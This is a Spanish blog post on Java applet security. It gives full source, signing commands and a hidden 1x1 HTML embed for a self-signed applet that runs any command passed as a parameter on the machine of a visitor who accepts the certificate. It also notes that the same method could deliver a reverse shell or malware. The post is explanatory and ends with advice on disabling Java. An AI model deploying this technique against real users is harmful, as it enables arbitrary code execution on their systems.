Un applet es un programa escrito en el lenguaje de programación Java que puede ser incluido en una página web HTML mediante la directiva "<em><applet></applet></em>". Cuando el navegador identifica un applet de java en el documento web a visualizar, el código java del applet se descarga al sistema operativo donde la maquina virtual de java (Java Virtual Machine o JVM) y se ejecuta, esto permite crear programas que cualquier usuario puede ejecutar con tan solo cargar una URL en su navegador si este tiene el plugin de java instalado.
La idea de los creadores de Java era crear un lenguaje que tuviera limitaciones intrínsecas o estructurales para acceder al sistema operativo por motivos de seguridad, el objetivo era evitar la creación de virus, gusanos o cualquier otro tipo de malware realizable con Java y que pudiera ser explotable desde el navegador. Este fue el motivo que provocó que en Java 1.0 no se permitiera acceso al sistema local del usuario, pero uso duró poco tiempo ya que dicha restricción limitaba mucho a los desarrolladores de applets de java y a los posibles usos de la tecnología Java vía web. A partir de la versión 1.1 se decidió permitir al código acceder a los recursos del sistema operativo local, siempre y cuando el applet estuviera firmado por una entidad de confianza o bien que el usuario de forma voluntaria aceptara la firma de certificado no confiable. Esto benefició y potencio mucho el uso de la tecnología Java para la creación de applets, ya que gracias a su condición multiplataforma y la posibilidad de acceso a los recursos del sistema operativo, se abrían infinitas posibilidades de desarrollo más interesantes, como la posibilidad de crear juegos en linea a través del navegador.
En lo que respecta a temas de seguridad, siempre se ha dicho que la relación existente entre la "facilidad de uso" y la "seguridad" es muy estrecha y como veremos, en el caso de los applets de java se sigue manteniendo esa premisa.
Anteriormente decíamos que un applet de java puede acceder a nuestro sistema si está firmado por una entidad de confianza, pero de no estarlo, siempre cabe la posibilidad de que el usuario acepte su certificado de forma manual por medio de una ventana parecida a esta.
Si se intenta ejecutar en el navegador un applet con instrucciones de acceso a recursos locales y no firmado por una entidad de confianza, no se podrá ejecutar, apareciendo en la consola de JVM un mensaje de error de este tipo:
java.security.AccessControlException: access denied
Lo que vamos a ver a continuación es como crear e integrar un sencillo Applet de java que ejecute un comando Unix (Xterm) en la maquina del usuario que acepte el certificado del applet.
Código del applet: skata.java
import java.applet.*;
import java.awt.*;
import java.io.*;
public class skata extends Applet
{
public void init()
{
Process f;
String first = getParameter("first");
try
{
f = Runtime.getRuntime().exec(first);
}
catch(IOException e)
{
e.printStackTrace();
}
}
}
Compilamos el fichero "skata.java" y generamos el fichero .jar
$ javac skata.java
$ jar -cf busi_applet.jar skata.class
Ahora debemos firmarlo, por lo que tenemos que crear un certificado (1 día de validez) y luego firmar el Applet:
$ keytool -genkey -alias pconcepto -validity 1 -v
$ jarsigner busi_applet.jar pconcepto -verbose
Una vez que tenemos el applet creado y firmado, generamos un documento html donde añadir el applet.
<html>
<body>
<applet width="1" height="1" code="skata.class" archive="busi_applet.jar">
<param name="first" value="xterm -e sleep 10">
</applet>
</body>
</html>
Dado el anterior ejemplo, el fichero html y el applet (Fichero ".jar") deben estar en el mismo directorio, de no estar en la misma carpeta se debe indicar la ruta en la directiva "archive". Esta prueba de concepto ejecuta una terminal xterm en el sistema operativo (Unix) del usuario que acepte el certificado, los permisos con los que se ejecuta dicha terminal son los mismos que tiene el usuario que arranco el navegador. Para la prueba de concepto hemos seleccionado Xterm y un applet que lanza un solo comando, pero realmente se podría ejecutar cualquier comando o conjunto de comandos que atentase contra la seguridad del usuario, ya que con este método sería fácil obtener una shell inversa con privilegios de usuario, infectar con cualquier tipo de malware al sistema, intentar obtener la contraseña de root por medio de "alias" o cualquier otra cosa que se nos ocurra.
Prueba de concepto (Xterm): http://www.busindre.com/archivos/javapc/
NOTA: No todos los GNU/Linux vienen con Xterm instalada por defecto. Al usar este tipo de "ataques" bajo sistemas Windows es común que el antivirus lo detecte y avise al usuario.
Deshabilitar el uso de applets de java en Mozilla Firefox:
Editar > Preferencias > Contenido > Activar java
Enlaces de Interés:
- Ejemplos de Applets java: http://java.sun.com/applets/jdk/
- Descargar el último plugin de java (Oficial): http://www.java.com/en/download/index.jsp
- Cómo abrir, leer o escribir en un fichero local con un applet de java: http://www.captain.at/
- Applet en Java y un script en VBScript: http://foro.elhacker.net/printpage.html;topic=240306.0
Fuente: http://www.busindre.com/
0 Notaciones:
Publicar un comentario